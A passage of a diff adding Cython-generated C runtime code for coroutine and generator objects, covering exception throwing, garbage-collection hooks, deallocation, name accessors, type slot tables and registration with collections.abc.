*cargs[4] = {NULL, typ, val, tb}; + ret = __Pyx_PyObject_FastCall(meth, cargs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET); + } + Py_DECREF(meth); + } + gen->is_running = 0; + Py_DECREF(yf); + if (!ret) { + ret = __Pyx_Coroutine_FinishDelegation(gen); + } + return __Pyx_Coroutine_MethodReturn(self, ret); + } +throw_here: + __Pyx_Raise(typ, val, tb, NULL); + return __Pyx_Coroutine_MethodReturn(self, __Pyx_Coroutine_SendEx(gen, NULL, 0)); +} +static PyObject *__Pyx_Coroutine_Throw(PyObject *self, PyObject *args) { + PyObject *typ; + PyObject *val = NULL; + PyObject *tb = NULL; + if (unlikely(!PyArg_UnpackTuple(args, (char *)"throw", 1, 3, &typ, &val, &tb))) + return NULL; + return __Pyx__Coroutine_Throw(self, typ, val, tb, args, 1); +} +static CYTHON_INLINE int __Pyx_Coroutine_traverse_excstate(__Pyx_ExcInfoStruct *exc_state, visitproc visit, void *arg) { +#if PY_VERSION_HEX >= 0x030B00a4 + Py_VISIT(exc_state->exc_value); +#else + Py_VISIT(exc_state->exc_type); + Py_VISIT(exc_state->exc_value); + Py_VISIT(exc_state->exc_traceback); +#endif + return 0; +} +static int __Pyx_Coroutine_traverse(__pyx_CoroutineObject *gen, visitproc visit, void *arg) { + Py_VISIT(gen->closure); + Py_VISIT(gen->classobj); + Py_VISIT(gen->yieldfrom); + return __Pyx_Coroutine_traverse_excstate(&gen->gi_exc_state, visit, arg); +} +static int __Pyx_Coroutine_clear(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + Py_CLEAR(gen->closure); + Py_CLEAR(gen->classobj); + Py_CLEAR(gen->yieldfrom); + __Pyx_Coroutine_ExceptionClear(&gen->gi_exc_state); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + Py_CLEAR(((__pyx_PyAsyncGenObject*)gen)->ag_finalizer); + } +#endif + Py_CLEAR(gen->gi_code); + Py_CLEAR(gen->gi_frame); + Py_CLEAR(gen->gi_name); + Py_CLEAR(gen->gi_qualname); + Py_CLEAR(gen->gi_modulename); + return 0; +} +static void __Pyx_Coroutine_dealloc(PyObject *self) { + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + PyObject_GC_UnTrack(gen); + if (gen->gi_weakreflist != NULL) + PyObject_ClearWeakRefs(self); + if (gen->resume_label >= 0) { + PyObject_GC_Track(self); +#if PY_VERSION_HEX >= 0x030400a1 && CYTHON_USE_TP_FINALIZE + if (unlikely(PyObject_CallFinalizerFromDealloc(self))) +#else + Py_TYPE(gen)->tp_del(self); + if (unlikely(Py_REFCNT(self) > 0)) +#endif + { + return; + } + PyObject_GC_UnTrack(self); + } +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + /* We have to handle this case for asynchronous generators + right here, because this code has to be between UNTRACK + and GC_Del. */ + Py_CLEAR(((__pyx_PyAsyncGenObject*)self)->ag_finalizer); + } +#endif + __Pyx_Coroutine_clear(self); + __Pyx_PyHeapTypeObject_GC_Del(gen); +} +static void __Pyx_Coroutine_del(PyObject *self) { + PyObject *error_type, *error_value, *error_traceback; + __pyx_CoroutineObject *gen = (__pyx_CoroutineObject *) self; + __Pyx_PyThreadState_declare + if (gen->resume_label < 0) { + return; + } +#if !CYTHON_USE_TP_FINALIZE + assert(self->ob_refcnt == 0); + __Pyx_SET_REFCNT(self, 1); +#endif + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&error_type, &error_value, &error_traceback); +#ifdef __Pyx_AsyncGen_USED + if (__Pyx_AsyncGen_CheckExact(self)) { + __pyx_PyAsyncGenObject *agen = (__pyx_PyAsyncGenObject*)self; + PyObject *finalizer = agen->ag_finalizer; + if (finalizer && !agen->ag_closed) { + PyObject *res = __Pyx_PyObject_CallOneArg(finalizer, self); + if (unlikely(!res)) { + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); + return; + } + } +#endif + if (unlikely(gen->resume_label == 0 && !error_value)) { +#ifdef __Pyx_Coroutine_USED +#ifdef __Pyx_Generator_USED + if (!__Pyx_Generator_CheckExact(self)) +#endif + { + PyObject_GC_UnTrack(self); +#if PY_MAJOR_VERSION >= 3 || defined(PyErr_WarnFormat) + if (unlikely(PyErr_WarnFormat(PyExc_RuntimeWarning, 1, "coroutine '%.50S' was never awaited", gen->gi_qualname) < 0)) + PyErr_WriteUnraisable(self); +#else + {PyObject *msg; + char *cmsg; + #if CYTHON_COMPILING_IN_PYPY + msg = NULL; + cmsg = (char*) "coroutine was never awaited"; + #else + char *cname; + PyObject *qualname; + qualname = gen->gi_qualname; + cname = PyString_AS_STRING(qualname); + msg = PyString_FromFormat("coroutine '%.50s' was never awaited", cname); + if (unlikely(!msg)) { + PyErr_Clear(); + cmsg = (char*) "coroutine was never awaited"; + } else { + cmsg = PyString_AS_STRING(msg); + } + #endif + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, cmsg, 1) < 0)) + PyErr_WriteUnraisable(self); + Py_XDECREF(msg);} +#endif + PyObject_GC_Track(self); + } +#endif + } else { + PyObject *res = __Pyx_Coroutine_Close(self); + if (unlikely(!res)) { + if (PyErr_Occurred()) + PyErr_WriteUnraisable(self); + } else { + Py_DECREF(res); + } + } + __Pyx_ErrRestore(error_type, error_value, error_traceback); +#if !CYTHON_USE_TP_FINALIZE + assert(Py_REFCNT(self) > 0); + if (likely(--self->ob_refcnt == 0)) { + return; + } + { + Py_ssize_t refcnt = Py_REFCNT(self); + _Py_NewReference(self); + __Pyx_SET_REFCNT(self, refcnt); + } +#if CYTHON_COMPILING_IN_CPYTHON + assert(PyType_IS_GC(Py_TYPE(self)) && + _Py_AS_GC(self)->gc.gc_refs != _PyGC_REFS_UNTRACKED); + _Py_DEC_REFTOTAL; +#endif +#ifdef COUNT_ALLOCS + --Py_TYPE(self)->tp_frees; + --Py_TYPE(self)->tp_allocs; +#endif +#endif +} +static PyObject * +__Pyx_Coroutine_get_name(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_name; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_name(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_name, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_qualname(__pyx_CoroutineObject *self, void *context) +{ + PyObject *name = self->gi_qualname; + CYTHON_UNUSED_VAR(context); + if (unlikely(!name)) name = Py_None; + Py_INCREF(name); + return name; +} +static int +__Pyx_Coroutine_set_qualname(__pyx_CoroutineObject *self, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(self->gi_qualname, value); + return 0; +} +static PyObject * +__Pyx_Coroutine_get_frame(__pyx_CoroutineObject *self, void *context) +{ + PyObject *frame = self->gi_frame; + CYTHON_UNUSED_VAR(context); + if (!frame) { + if (unlikely(!self->gi_code)) { + Py_RETURN_NONE; + } + frame = (PyObject *) PyFrame_New( + PyThreadState_Get(), /*PyThreadState *tstate,*/ + (PyCodeObject*) self->gi_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (unlikely(!frame)) + return NULL; + self->gi_frame = frame; + } + Py_INCREF(frame); + return frame; +} +static __pyx_CoroutineObject *__Pyx__Coroutine_New( + PyTypeObject* type, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + __pyx_CoroutineObject *gen = PyObject_GC_New(__pyx_CoroutineObject, type); + if (unlikely(!gen)) + return NULL; + return __Pyx__Coroutine_NewInit(gen, body, code, closure, name, qualname, module_name); +} +static __pyx_CoroutineObject *__Pyx__Coroutine_NewInit( + __pyx_CoroutineObject *gen, __pyx_coroutine_body_t body, PyObject *code, PyObject *closure, + PyObject *name, PyObject *qualname, PyObject *module_name) { + gen->body = body; + gen->closure = closure; + Py_XINCREF(closure); + gen->is_running = 0; + gen->resume_label = 0; + gen->classobj = NULL; + gen->yieldfrom = NULL; + #if PY_VERSION_HEX >= 0x030B00a4 + gen->gi_exc_state.exc_value = NULL; + #else + gen->gi_exc_state.exc_type = NULL; + gen->gi_exc_state.exc_value = NULL; + gen->gi_exc_state.exc_traceback = NULL; + #endif +#if CYTHON_USE_EXC_INFO_STACK + gen->gi_exc_state.previous_item = NULL; +#endif + gen->gi_weakreflist = NULL; + Py_XINCREF(qualname); + gen->gi_qualname = qualname; + Py_XINCREF(name); + gen->gi_name = name; + Py_XINCREF(module_name); + gen->gi_modulename = module_name; + Py_XINCREF(code); + gen->gi_code = code; + gen->gi_frame = NULL; + PyObject_GC_Track(gen); + return gen; +} + +/* PyObject_GenericGetAttrNoDict */ +#if CYTHON_USE_TYPE_SLOTS && CYTHON_USE_PYTYPE_LOOKUP && PY_VERSION_HEX < 0x03070000 +static PyObject *__Pyx_RaiseGenericGetAttributeError(PyTypeObject *tp, PyObject *attr_name) { + __Pyx_TypeName type_name = __Pyx_PyType_GetName(tp); + PyErr_Format(PyExc_AttributeError, +#if PY_MAJOR_VERSION >= 3 + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%U'", + type_name, attr_name); +#else + "'" __Pyx_FMT_TYPENAME "' object has no attribute '%.400s'", + type_name, PyString_AS_STRING(attr_name)); +#endif + __Pyx_DECREF_TypeName(type_name); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyObject_GenericGetAttrNoDict(PyObject* obj, PyObject* attr_name) { + PyObject *descr; + PyTypeObject *tp = Py_TYPE(obj); + if (unlikely(!PyString_Check(attr_name))) { + return PyObject_GenericGetAttr(obj, attr_name); + } + assert(!tp->tp_dictoffset); + descr = _PyType_Lookup(tp, attr_name); + if (unlikely(!descr)) { + return __Pyx_RaiseGenericGetAttributeError(tp, attr_name); + } + Py_INCREF(descr); + #if PY_MAJOR_VERSION < 3 + if (likely(PyType_HasFeature(Py_TYPE(descr), Py_TPFLAGS_HAVE_CLASS))) + #endif + { + descrgetfunc f = Py_TYPE(descr)->tp_descr_get; + if (unlikely(f)) { + PyObject *res = f(descr, obj, (PyObject *)tp); + Py_DECREF(descr); + return res; + } + } + return descr; +} +#endif + +/* PatchModuleWithCoroutine */ +static PyObject* __Pyx_Coroutine_patch_module(PyObject* module, const char* py_code) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + int result; + PyObject *globals, *result_obj; + globals = PyDict_New(); if (unlikely(!globals)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_coroutine_type", + #ifdef __Pyx_Coroutine_USED + (PyObject*)__pyx_CoroutineType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + result = PyDict_SetItemString(globals, "_cython_generator_type", + #ifdef __Pyx_Generator_USED + (PyObject*)__pyx_GeneratorType); + #else + Py_None); + #endif + if (unlikely(result < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "_module", module) < 0)) goto ignore; + if (unlikely(PyDict_SetItemString(globals, "__builtins__", __pyx_b) < 0)) goto ignore; + result_obj = PyRun_String(py_code, Py_file_input, globals, globals); + if (unlikely(!result_obj)) goto ignore; + Py_DECREF(result_obj); + Py_DECREF(globals); + return module; +ignore: + Py_XDECREF(globals); + PyErr_WriteUnraisable(module); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, "Cython module failed to patch module with custom type", 1) < 0)) { + Py_DECREF(module); + module = NULL; + } +#else + py_code++; +#endif + return module; +} + +/* PatchGeneratorABC */ +#ifndef CYTHON_REGISTER_ABCS +#define CYTHON_REGISTER_ABCS 1 +#endif +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) +static PyObject* __Pyx_patch_abc_module(PyObject *module); +static PyObject* __Pyx_patch_abc_module(PyObject *module) { + module = __Pyx_Coroutine_patch_module( + module, "" +"if _cython_generator_type is not None:\n" +" try: Generator = _module.Generator\n" +" except AttributeError: pass\n" +" else: Generator.register(_cython_generator_type)\n" +"if _cython_coroutine_type is not None:\n" +" try: Coroutine = _module.Coroutine\n" +" except AttributeError: pass\n" +" else: Coroutine.register(_cython_coroutine_type)\n" + ); + return module; +} +#endif +static int __Pyx_patch_abc(void) { +#if defined(__Pyx_Generator_USED) || defined(__Pyx_Coroutine_USED) + static int abc_patched = 0; + if (CYTHON_REGISTER_ABCS && !abc_patched) { + PyObject *module; + module = PyImport_ImportModule((PY_MAJOR_VERSION >= 3) ? "collections.abc" : "collections"); + if (unlikely(!module)) { + PyErr_WriteUnraisable(NULL); + if (unlikely(PyErr_WarnEx(PyExc_RuntimeWarning, + ((PY_MAJOR_VERSION >= 3) ? + "Cython module failed to register with collections.abc module" : + "Cython module failed to register with collections module"), 1) < 0)) { + return -1; + } + } else { + module = __Pyx_patch_abc_module(module); + abc_patched = 1; + if (unlikely(!module)) + return -1; + Py_DECREF(module); + } + module = PyImport_ImportModule("backports_abc"); + if (module) { + module = __Pyx_patch_abc_module(module); + Py_XDECREF(module); + } + if (!module) { + PyErr_Clear(); + } + } +#else + if ((0)) __Pyx_Coroutine_patch_module(NULL, NULL); +#endif + return 0; +} + +/* Coroutine */ +static void __Pyx_CoroutineAwait_dealloc(PyObject *self) { + PyObject_GC_UnTrack(self); + Py_CLEAR(((__pyx_CoroutineAwaitObject*)self)->coroutine); + __Pyx_PyHeapTypeObject_GC_Del(self); +} +static int __Pyx_CoroutineAwait_traverse(__pyx_CoroutineAwaitObject *self, visitproc visit, void *arg) { + Py_VISIT(self->coroutine); + return 0; +} +static int __Pyx_CoroutineAwait_clear(__pyx_CoroutineAwaitObject *self) { + Py_CLEAR(self->coroutine); + return 0; +} +static PyObject *__Pyx_CoroutineAwait_Next(__pyx_CoroutineAwaitObject *self) { + return __Pyx_Generator_Next(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_Send(__pyx_CoroutineAwaitObject *self, PyObject *value) { + return __Pyx_Coroutine_Send(self->coroutine, value); +} +static PyObject *__Pyx_CoroutineAwait_Throw(__pyx_CoroutineAwaitObject *self, PyObject *args) { + return __Pyx_Coroutine_Throw(self->coroutine, args); +} +static PyObject *__Pyx_CoroutineAwait_Close(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx_Coroutine_Close(self->coroutine); +} +static PyObject *__Pyx_CoroutineAwait_self(PyObject *self) { + Py_INCREF(self); + return self; +} +#if !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_CoroutineAwait_no_new(PyTypeObject *type, PyObject *args, PyObject *kwargs) { + CYTHON_UNUSED_VAR(type); + CYTHON_UNUSED_VAR(args); + CYTHON_UNUSED_VAR(kwargs); + PyErr_SetString(PyExc_TypeError, "cannot instantiate type, use 'await coroutine' instead"); + return NULL; +} +#endif +static PyObject *__Pyx_CoroutineAwait_reduce_ex(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + PyErr_Format(PyExc_TypeError, "cannot pickle '%.200s' object", + Py_TYPE(self)->tp_name); + return NULL; +} +static PyMethodDef __pyx_CoroutineAwait_methods[] = { + {"send", (PyCFunction) __Pyx_CoroutineAwait_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_CoroutineAwait_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_CoroutineAwait_Close, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, + {"__reduce_ex__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_O, 0}, + {"__reduce__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_NOARGS, 0}, + {0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineAwaitType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CoroutineAwait_dealloc}, + {Py_tp_traverse, (void *)__Pyx_CoroutineAwait_traverse}, + {Py_tp_clear, (void *)__Pyx_CoroutineAwait_clear}, +#if !CYTHON_COMPILING_IN_PYPY + {Py_tp_new, (void *)__Pyx_CoroutineAwait_no_new}, +#endif + {Py_tp_methods, (void *)__pyx_CoroutineAwait_methods}, + {Py_tp_iter, (void *)__Pyx_CoroutineAwait_self}, + {Py_tp_iternext, (void *)__Pyx_CoroutineAwait_Next}, + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineAwaitType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + __pyx_CoroutineAwaitType_slots +}; +#else +static PyTypeObject __pyx_CoroutineAwaitType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + (destructor) __Pyx_CoroutineAwait_dealloc, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + PyDoc_STR("A wrapper object implementing __await__ for coroutines."), + (traverseproc) __Pyx_CoroutineAwait_traverse, + (inquiry) __Pyx_CoroutineAwait_clear, + 0, + 0, + __Pyx_CoroutineAwait_self, + (iternextfunc) __Pyx_CoroutineAwait_Next, + __pyx_CoroutineAwait_methods, + 0 , + 0 , + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if !CYTHON_COMPILING_IN_PYPY + __Pyx_CoroutineAwait_no_new, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +#if PY_VERSION_HEX < 0x030500B1 || defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static CYTHON_INLINE PyObject *__Pyx__Coroutine_await(PyObject *coroutine) { + __pyx_CoroutineAwaitObject *await = PyObject_GC_New(__pyx_CoroutineAwaitObject, __pyx_CoroutineAwaitType); + if (unlikely(!await)) return NULL; + Py_INCREF(coroutine); + await->coroutine = coroutine; + PyObject_GC_Track(await); + return (PyObject*)await; +} +#endif +#if PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_await_method(PyObject *coroutine, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static PyObject *__Pyx_Coroutine_await(PyObject *coroutine) { + if (unlikely(!coroutine || !__Pyx_Coroutine_Check(coroutine))) { + PyErr_SetString(PyExc_TypeError, "invalid input, expected coroutine"); + return NULL; + } + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_compare(PyObject *obj, PyObject *other, int op) { + PyObject* result; + switch (op) { + case Py_EQ: result = (other == obj) ? Py_True : Py_False; break; + case Py_NE: result = (other != obj) ? Py_True : Py_False; break; + default: + result = Py_NotImplemented; + } + Py_INCREF(result); + return result; +} +#endif +static PyMethodDef __pyx_Coroutine_methods[] = { + {"send", (PyCFunction) __Pyx_Coroutine_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_Coroutine_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_Coroutine_Close_Method, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, +#if PY_VERSION_HEX < 0x030500B1 + {"__await__", (PyCFunction) __Pyx_Coroutine_await_method, METH_NOARGS, + (char*) PyDoc_STR("__await__() -> return an iterator to be used in await expression.")}, +#endif + {0, 0, 0, 0} +}; +static PyMemberDef __pyx_Coroutine_memberlist[] = { + {(char *) "cr_running", T_BOOL, offsetof(__pyx_CoroutineObject, is_running), READONLY, NULL}, + {(char*) "cr_await", T_OBJECT, offsetof(__pyx_CoroutineObject, yieldfrom), READONLY, + (char*) PyDoc_STR("object being awaited, or None")}, + {(char*) "cr_code", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_code), READONLY, NULL}, + {(char *) "__module__", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_modulename), 0, 0}, +#if CYTHON_USE_TYPE_SPECS + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CoroutineObject, gi_weakreflist), READONLY, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyGetSetDef __pyx_Coroutine_getsets[] = { + {(char *) "__name__", (getter)__Pyx_Coroutine_get_name, (setter)__Pyx_Coroutine_set_name, + (char*) PyDoc_STR("name of the coroutine"), 0}, + {(char *) "__qualname__", (getter)__Pyx_Coroutine_get_qualname, (setter)__Pyx_Coroutine_set_qualname, + (char*) PyDoc_STR("qualified name of the coroutine"), 0}, + {(char *) "cr_frame", (getter)__Pyx_Coroutine_get_frame, NULL, + (char*) PyDoc_STR("Frame of the coroutine"), 0}, + {0, 0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_Coroutine_dealloc}, + {Py_am_await, (void *)&__Pyx_Coroutine_await}, + {Py_tp_traverse, (void *)__Pyx_Coroutine_traverse}, + {Py_tp_methods, (void *)__pyx_Coroutine_methods}, + {Py_tp_members, (void *)__pyx_Coroutine_memberlist}, + {Py_tp_getset, (void *)__pyx_Coroutine_getsets}, + {Py_tp_getattro, (void *) __Pyx_PyObject_GenericGetAttrNoDict}, +#if CYTHON_USE_TP_FINALIZE + {Py_tp_finalize, (void *)__Pyx_Coroutine_del}, +#endif + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + __pyx_CoroutineType_slots +}; +#else +#if CYTHON_USE_ASYNC_SLOTS +static __Pyx_PyAsyncMethodsStruct __pyx_Coroutine_as_async = { + __Pyx_Coroutine_await, + 0, + 0, +#if PY_VERSION_HEX >= 0x030A00A3 + 0, +#endif +}; +#endif +static PyTypeObject __pyx_CoroutineType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + (destructor) __Pyx_Coroutine_dealloc, + 0, + 0, + 0, +#if CYTHON_USE_ASYNC_SLOTS + &__pyx_Coroutine_as_async, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + 0, + (traverseproc) __Pyx_Coroutine_traverse, + 0, +#if CYTHON_USE_ASYNC_SLOTS && CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 + __Pyx_Coroutine_compare, +#else + 0, +#endif + offsetof(__pyx_CoroutineObject, gi_weakreflist), + 0, + 0, + __pyx_Coroutine_methods, + __pyx_Coroutine_memberlist, + __pyx_Coroutine_getsets, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if CYTHON_USE_TP_FINALIZE + 0, +#else + __Pyx_Coroutine_del, +#endif + 0, +#if CYTHON_USE_TP_FINALIZE + __Pyx_Coroutine_del, +#elif PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_Coroutine_init(PyObject *module) { + CYTHON_MAYBE_UNUSED_VAR(module); +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineType_spec, NULL); +#else + __pyx_CoroutineType_type.tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + __pyx_CoroutineType = __Pyx_FetchCommonType(&__pyx_CoroutineType_type); +#endif + if (unlikely(!__pyx_CoroutineType)) + return -1; +#ifdef __Pyx_IterableCoroutine_USED + if (unlikely(__pyx_IterableCoroutine_init(module) == -1)) + return -1; +#endif +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineAwaitType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineAwaitType_spec, NULL); +#else + __pyx_CoroutineAwaitType = __Pyx_FetchCommonType(&__pyx_CoroutineAwaitType_type); +#endif + if (unlikely(!__pyx_CoroutineAwaitType)) + return -1; + return 0; +} + +/* GetAwaitIter */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o) { +#ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(o)) { + return __Pyx_NewRef(o); + } +#endif + return __Pyx__Coroutine_GetAwaitableIter(o); +} +static void __Pyx_Coroutine_AwaitableIterError(PyObject *source) { +#if PY_VERSION_HEX >= 0x030600B3 && PY_VERSION_HEX < 0x030d0000 || defined(_PyErr_FormatFromCause) + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + _PyErr_FormatFromCause(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); +#elif PY_MAJOR_VERSION >= 3 + PyObject *exc, *val, *val2, *tb; + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + assert(PyErr_Occurred()); + PyErr_Fetch(&exc, &val, &tb); + PyErr_NormalizeException(&exc, &val, &tb); + if (tb != NULL) { + PyException_SetTraceback(val, tb); + Py_DECREF(tb); + } + Py_DECREF(exc); + assert(!PyErr_Occurred()); + PyErr_Format(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); + PyErr_Fetch(&exc, &val2, &tb); + PyErr_NormalizeException(&exc, &val2, &tb); + Py_INCREF(val); + PyException_SetCause(val2, val); + PyException_SetContext(val2, val); + PyErr_Restore(exc, val2, tb); +#else + CYTHON_UNUSED_VAR(source); +#endif +} +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *obj) { + PyObject *res; +#if CYTHON_USE_ASYNC_SLOTS + __Pyx_PyAsyncMethodsStruct* am = __Pyx_PyType_AsAsync(obj); + if (likely(am && am->am_await)) { + res = (*am->am_await)(obj); + } else +#endif +#if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + if (PyCoro_CheckExact(obj)) { + return __Pyx_NewRef(obj); + } else +#endif +#if CYTHON_COMPILING_IN_CPYTHON && defined(CO_ITERABLE_COROUTINE) +#if PY_VERSION_HEX >= 0x030C00A6 + if (PyGen_CheckExact(obj) && (PyGen_GetCode((PyGenObject*)obj)->co_flags & CO_ITERABLE_COROUTINE)) { +#else + if (PyGen_CheckExact(obj) && ((PyGenObject*)obj)->gi_code && ((PyCodeObject *)((PyGenObject*)obj)->gi_code)->co_flags & CO_ITERABLE_COROUTINE) { +#endif + return __Pyx_NewRef(obj); + } else +#endif + { + PyObject *method = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, __pyx_n_s_await, &method); + if (likely(is_method)) { + res = __Pyx_PyObject_CallOneArg(method, obj); + } else if (likely(method)) { + res = __Pyx_PyObject_CallNoArg(method); + } else + 